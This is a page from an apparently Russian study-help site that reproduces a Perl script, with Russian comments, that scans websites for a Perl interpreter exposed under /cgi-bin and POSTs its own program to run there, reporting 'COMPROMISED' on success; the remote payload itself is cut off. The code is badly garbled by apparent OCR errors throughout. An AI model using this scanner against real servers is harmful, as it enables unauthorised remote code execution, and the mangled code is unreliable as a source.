Главная Случайная страница Контакты | Мы поможем в написании вашей работы! | ||
|
use LWP::UserAgent:
my $PROGNAME = "latrodectus cyberneticus"; my$VERSION = "1.0"; my $DEF_CGI_BIN =
"/cgi-bin":
# Имя интерпретатора peri на удаленной машине, # стоит попробовать и peri. exe, и peri. corn my
$DEF_PERL_PATH = "/peri. exe";
# Заносим в переменную $PROGRAM текст, начинающийся # после слов __END__, - нашу программу,
которая будет # выполняться на удаленном сервере ту $PROGRAM = join qq=^><DATA>:
$1 --1;
if (@)ARGV) {
for (OARGV) { probe($J } }elsif(i-tSTDIN){ while <STDIN> { chomp:
probe($_): } } else {
die "usage: $0 [site... ]\n": }
subprobe { my $site= shift;
my $cgi_bin = ' ': my U)perl_path = ' '; my $pre_site = ' ';
if($site!~mff/ff) {
$cgi_bin = $DEF_CGI_BIN;
} if ($site.!~ /peri/) {
$perl_pa1:h = $DEF_PERL_PATH; } if ($site Г тГ//й) {
$pre_site = '//'; }
ту $ua = LWP::UserAgent->new(); $ua->agent("$PROGNAME, v$VERSION"),
# Формируем полный uri интерпретатора
my$full_targ -- 'http:'. $pre_si1:e. $site. $cg]._bin. $perl_path; printf "%-35s ", $site;
ff Открываем соединение my $req = HTTP::Request->new(POST => $full_targ);
# Посылаем нашу программу
$req->content_type('appl].cation/x-www-forni-urlencoded'); $req->content($PROGRAM);
# Получаем ответ my $res = $ua->request($req):
ff Проверяем, выполнилась ли наша программа if ($res->is_success) { if ($res->conten1: =~
/WWW Black Widow/) {
print "<< COMPROMISED >>\n"; } else { my $oops = $res->conten1:; $oops =~ s/\n/ /g;
print "APPREHENDED: $oops\n"; }
} else {
my $oops = $res->code. " ". $res->message; if ($res->code == 404) {
print "SAFE: $oops"; } else {
print "ERROR: $oops"; } print "\n" unless $oops =~ /\n$/;
} }
__END__
# Здесь начинается код, который будет выполнен на удаленной и машине. Сначала
Дата публикования: 2014-11-04; Прочитано: 291 | Нарушение авторского права страницы | Мы поможем в написании вашей работы!